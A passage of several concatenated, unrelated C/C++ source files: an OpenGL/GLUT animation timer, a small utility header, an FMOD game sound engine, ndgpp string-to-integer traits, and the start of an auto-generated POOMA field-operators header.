glRotatef(theta_x,1,0,0); draw_object(crt_shape); /* buffer is ready */ glutSwapBuffers(); return ; } /********************************* * my_idle: I definitely don't call this. ************************************/ void my_idle(void) { theta_y = (theta_y+2) %360; glutPostRedisplay(); return ; } /********************************* * my_TimeOut: Where a lot of the extra credit happens. Very simple, just increment certain values every timer_speed ms. ************************************/ void my_TimeOut(int id) { // if you're spinning, then adjust the theta value and rotate if (spin_x) { theta_x = (theta_x + 5) %360; glRotatef(theta_x,1,0,0); } if (spin_y) { theta_y = (theta_y + 5) %360; glRotatef(theta_y,0,1,0); } // if you're playing with rs or vs, then adjust the value // (but keep it in the proper range) // and re-make your objects with the new rs/vs value(s) if (play_rs) { crt_rs = (crt_rs + 1)%50; if (crt_rs < 3) { crt_rs = 3; } make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); } if (play_vs) { crt_vs = (crt_vs + 1)%50; if (crt_vs < 3) { crt_vs = 3; } make_sphere(sph_ray, crt_rs, crt_vs); make_cylinder(cyl_height,cyl_ray,crt_rs,crt_vs); make_cone(cone_height, cone_ray, crt_rs, crt_vs); make_torus(torus_r1, torus_r2, crt_rs, crt_vs); } // if any of the above happened, then show the user the new screen! if (spin_x || spin_y || play_rs || play_vs) { glutPostRedisplay(); } // call the timer again, at the same speed glutTimerFunc(timer_speed, my_TimeOut, 0); return ; }
/* header */ #ifndef SUM_H_ #define SUM_H_ #include <iostream> #include <array> using namespace std; #pragma once // prototype int Sum( int num1, int num2); void UpdateStep(int& step); //int& means to pass address (pointer) int Max2(int num1, int num2); int Max3(int num1, int num2, int num3); int Max10(const std::array<int, 10>& nums); //By value or reference (which can be changed unless const) void ClearElements(std::array<int, 10>& nums); #endif /* !SUM_H_ */
#include "SoundEngine.h" #include "Globals.h" SoundEngine::SoundEngine() { } SoundEngine::~SoundEngine() { } void SoundEngine::initialize() { int numsubsounds; result_ = FMOD::System_Create(&system_); result_ = system_->getVersion(&version); result_ = system_->init(100, FMOD_INIT_NORMAL, extradriverdata); result_ = system_->createStream("Sounds\\loading_music.mp3", FMOD_LOOP_NORMAL | FMOD_2D, 0, &loadingMusic_); result_ = system_->createStream("Sounds\\menu_music.mp3", FMOD_LOOP_NORMAL | FMOD_2D, 0, &menuMusic_); result_ = system_->createStream("Sounds\\background_play2.mp3", FMOD_LOOP_NORMAL | FMOD_2D, 0, &gameMusic_); result_ = system_->createStream("Sounds\\end_music.mp3", FMOD_LOOP_NORMAL | FMOD_2D, 0, &endMusic_); result_ = system_->createStream("Sounds\\gravity.wav", FMOD_LOOP_NORMAL | FMOD_2D, 0, &gravityMusic_); result_ = system_->createSound("Sounds\\mango_shooting.wav", FMOD_3D, 0, &mangoShotSound_); mangoShotSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\jump.wav", FMOD_3D, 0, &jumpSound_); jumpSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\hat_spawn.wav", FMOD_3D, 0, &hatSpawnSound_); hatSpawnSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\wear_hat.wav", FMOD_3D, 0, &wearHatSound_); wearHatSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\wuson.wav", FMOD_3D, 0, &wusonSound_); wusonSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\propeller.mp3", FMOD_3D, 0, &propellerSound_); propellerSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\punch.wav", FMOD_3D, 0, &punchSound_); punchSound_->set3DMinMaxDistance(5, 5000); result_ = system_->createSound("Sounds\\dead.wav", FMOD_3D, 0, &deadSound_); deadSound_->set3DMinMaxDistance(5, 5000); } void SoundEngine::initializePlayer(Player* player) { player_ = player; } void SoundEngine::updateSystem() { if (player_) { glm::vec3 pos = player_->getPosition(); const FMOD_VECTOR position = { pos.x, pos.y, pos.z }; system_->set3DListenerAttributes(0, &position, NULL, NULL, NULL); } system_->update(); } void SoundEngine::playLoadingMusic() { pauseChannel(menuChannel_); pauseChannel(gameChannel_); pauseChannel(endChannel_); pauseChannel(gravityChannel_); if (loadingChannel_) { bool paused; loadingChannel_->getPaused(&paused); if (paused) { loadingChannel_->setPaused(false); } return; } result_ = system_->playSound(loadingMusic_, 0, false, &loadingChannel_); } void SoundEngine::playMenuMusic() { pauseChannel(loadingChannel_); pauseChannel(gameChannel_); pauseChannel(endChannel_); pauseChannel(gravityChannel_); if (menuChannel_) { bool paused; menuChannel_->getPaused(&paused); if (paused) { menuChannel_->setPaused(false); } return; } result_ = system_->playSound(menuMusic_, 0, false, &menuChannel_); } void SoundEngine::playGameMusic() { pauseChannel(loadingChannel_); pauseChannel(menuChannel_); pauseChannel(endChannel_); pauseChannel(gravityChannel_); if (gameChannel_) { bool paused; gameChannel_->getPaused(&paused); if (paused) { gameChannel_->setPaused(false); } return; } result_ = system_->playSound(gameMusic_, 0, false, &gameChannel_); } void SoundEngine::playEndMusic() { pauseChannel(loadingChannel_); pauseChannel(menuChannel_); pauseChannel(gameChannel_); pauseChannel(gravityChannel_); if (endChannel_) { bool paused; endChannel_->getPaused(&paused); if (paused) { endChannel_->setPaused(false); } return; } result_ = system_->playSound(endMusic_, 0, false, &endChannel_); } void SoundEngine::playGravityMusic() { pauseChannel(loadingChannel_); pauseChannel(menuChannel_); pauseChannel(gameChannel_); pauseChannel(endChannel_); if (gravityChannel_) { bool paused; gravityChannel_->getPaused(&paused); if (paused) { gravityChannel_->setPaused(false); } return; } result_ = system_->playSound(gravityMusic_, 0, false, &gravityChannel_); } void SoundEngine::mangoShot(float x, float y, float z) { FMOD::Channel* channel = nullptr; FMOD_VECTOR position = { x, y, z }; result_ = system_->playSound(mangoShotSound_, 0, true, &channel); result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::jump(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = nullptr; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; result_ = system_->playSound(jumpSound_, 0, true, &channel); result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::hatSpawn(float x, float y, float z) { FMOD::Channel* channel = nullptr; FMOD_VECTOR position = { x, y, z }; result_ = system_->playSound(hatSpawnSound_, 0, true, &channel); result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::wearHat(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = nullptr; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; result_ = system_->playSound(wearHatSound_, 0, true, &channel); result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::wuson(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = wusonChannels[playerId]; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; if (channel) { bool playing = false; channel->isPlaying(&playing); if (playing) { channel->set3DAttributes(&position, 0); return; } } result_ = system_->playSound(wusonSound_, 0, true, &channel); wusonChannels[playerId] = channel; result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::propeller(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = propellerChannels[playerId]; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; if (channel) { bool playing = false; channel->isPlaying(&playing); if (playing) { channel->set3DAttributes(&position, 0); return; } } result_ = system_->playSound(propellerSound_, 0, true, &channel); propellerChannels[playerId] = channel; result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::punch(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = punchChannels[playerId]; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; if (channel) { bool playing = false; channel->isPlaying(&playing); if (playing) { channel->set3DAttributes(&position, 0); return; } } result_ = system_->playSound(punchSound_, 0, true, &channel); punchChannels[playerId] = channel; result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); } void SoundEngine::dead(int playerId) { Player* player = dynamic_cast<Player*>(Globals::gameObjects.playerMap[playerId]); FMOD::Channel* channel = nullptr; glm::vec3 pos = player->getPosition(); FMOD_VECTOR position = { pos.x, pos.y, pos.z }; result_ = system_->playSound(deadSound_, 0, true, &channel); result_ = channel->set3DAttributes(&position, 0); result_ = channel->setPaused(false); }
#ifndef LIBNDGPP_DETAIL_STRTO_HPP #define LIBNDGPP_DETAIL_STRTO_HPP #include <climits> #include <cstdlib> namespace ndgpp { namespace detail { template <class T> struct strtoi_traits; template <> struct strtoi_traits<signed long long> { static constexpr bool exact = true; static constexpr signed long long underflow_error_value = LLONG_MIN; static constexpr signed long long overflow_error_value = LLONG_MAX; static long long convert(char const * const str, char ** str_end, const int base) { return std::strtoll(str, str_end, base); } }; template <> struct strtoi_traits<signed long> { static constexpr bool exact = true; static constexpr signed long underflow_error_value = LONG_MIN; static constexpr signed long overflow_error_value = LONG_MAX; static long convert(char const * const str, char ** str_end, const int base) { return std::strtol(str, str_end, base); } }; template <> struct strtoi_traits<signed int> { static constexpr bool exact = false; static constexpr signed long long underflow_error_value = LONG_MIN; static constexpr signed long overflow_error_value = LONG_MAX; static long convert(char const * const str, char ** str_end, const int base) { return std::strtol(str, str_end, base); } }; template <> struct strtoi_traits<signed short> { static constexpr bool exact = false; static constexpr signed long long underflow_error_value = LONG_MIN; static constexpr signed long overflow_error_value = LONG_MAX; static long convert(char const * const str, char ** str_end, const int base) { return std::strtol(str, str_end, base); } }; template <> struct strtoi_traits<signed char> { static constexpr bool exact = false; static constexpr signed long long underflow_error_value = LONG_MIN; static constexpr signed long overflow_error_value = LONG_MAX; static long convert(char const * const str, char ** str_end, const int base) { return std::strtol(str, str_end, base); } }; template <> struct strtoi_traits<unsigned long long> { static constexpr bool exact = true; static constexpr unsigned long long underflow_error_value = 0; static constexpr unsigned long long overflow_error_value = ULLONG_MAX; static unsigned long long convert(char const * const str, char ** str_end, const int base) { return std::strtoull(str, str_end, base); } }; template <> struct strtoi_traits<unsigned long> { static constexpr bool exact = true; static constexpr long long underflow_error_value = 0; static constexpr unsigned long overflow_error_value = ULONG_MAX; static unsigned long convert(char const * const str, char ** str_end, const int base) { return std::strtoul(str, str_end, base); } }; template <> struct strtoi_traits<unsigned int> { static constexpr bool exact = false; static constexpr long long underflow_error_value = 0; static constexpr unsigned long overflow_error_value = ULONG_MAX; static unsigned long convert(char const * const str, char ** str_end, const int base) { return std::strtoul(str, str_end, base); } }; template <> struct strtoi_traits<unsigned short> { static constexpr bool exact = false; static constexpr long long underflow_error_value = 0; static constexpr unsigned long overflow_error_value = ULONG_MAX; static unsigned long convert(char const * const str, char ** str_end, const int base) { return std::strtoul(str, str_end, base); } }; template <> struct strtoi_traits<unsigned char> { static constexpr bool exact = false; static constexpr long long underflow_error_value = 0; static constexpr unsigned long overflow_error_value = ULONG_MAX; static unsigned long convert(char const * const str, char ** str_end, const int base) { return std::strtoul(str, str_end, base); } }; } } #endif
#ifndef POOMA_FIELD_FIELDOPERATORS_H #define POOMA_FIELD_FIELDOPERATORS_H /////////////////////////////////////////////////////////////////////////////// // // WARNING: THIS FILE WAS GENERATED AUTOMATICALLY! // YOU SHOULD MODIFY THE INPUT FILES INSTEAD OF CHANGING THIS FILE DIRECTLY! // // THE FOLLOWING INPUT FILES WERE USED TO MAKE THIS FILE: // // MakeOperators // PoomaField.in // /////////////////////////////////////////////////////////////////////////////// template<class G, class T, class E> class Field; #undef MakeReturn #define MakeReturn MakeFieldReturn template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnArcCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t acos(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnArcCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnArcSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t asin(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnArcSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnArcTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t atan(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnArcTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnCeil, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t ceil(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnCeil, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t cos(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnHypCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t cosh(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnHypCos, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnExp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t exp(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnExp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnFabs, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t fabs(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnFabs, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnFloor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t floor(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnFloor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnLog, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t log(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnLog, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnLog10, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t log10(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnLog10, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t sin(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnHypSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t sinh(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnHypSin, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnSqrt, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t sqrt(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnSqrt, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t tan(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<FnHypTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t tanh(const Field<G1,T1,E1> & l) { typedef UnaryNode<FnHypTan, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<OpUnaryMinus, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t operator-(const Field<G1,T1,E1> & l) { typedef UnaryNode<OpUnaryMinus, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<OpUnaryPlus, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t operator+(const Field<G1,T1,E1> & l) { typedef UnaryNode<OpUnaryPlus, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<OpBitwiseNot, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t operator~(const Field<G1,T1,E1> & l) { typedef UnaryNode<OpBitwiseNot, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<OpIdentity, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t PETE_identity(const Field<G1,T1,E1> & l) { typedef UnaryNode<OpIdentity, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class G1,class T1,class E1> inline typename MakeReturn<UnaryNode<OpNot, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> >::Expression_t operator!(const Field<G1,T1,E1> & l) { typedef UnaryNode<OpNot, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l))); } template<class T1,class G2,class T2,class E2> inline typename MakeReturn<UnaryNode<OpCast<T1>, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t peteCast(const T1&, const Field<G2,T2,E2> & l) { typedef UnaryNode<OpCast<T1>, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G2,T2,E2> >::make(l))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator+(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpAdd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator-(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpSubtract, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator*(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMultiply, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator/(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpDivide, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator%(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpMod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator&(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseAnd, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator|(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseOr, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator^(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpBitwiseXor, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t ldexp(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnLdexp, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t pow(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnPow, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t fmod(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnFmod, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t atan2(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<FnArcTan2, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLT, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> >::make(r))); } template<class G1,class T1,class E1,class G2,class T2,class E2> inline typename MakeReturn<BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> >::Expression_t operator<=(const Field<G1,T1,E1> & l,const Field<G2,T2,E2> & r) { typedef BinaryNode<OpLE, typename CreateLeaf<Field<G1,T1,E1> >::Leaf_t, typename CreateLeaf<Field<G2,T2,E2> >::Leaf_t> Tree_t; return MakeReturn<Tree_t>::make(Tree_t( CreateLeaf<Field<G1,T1,E1> >::make(l), CreateLeaf<Field<G2,T2,E2> 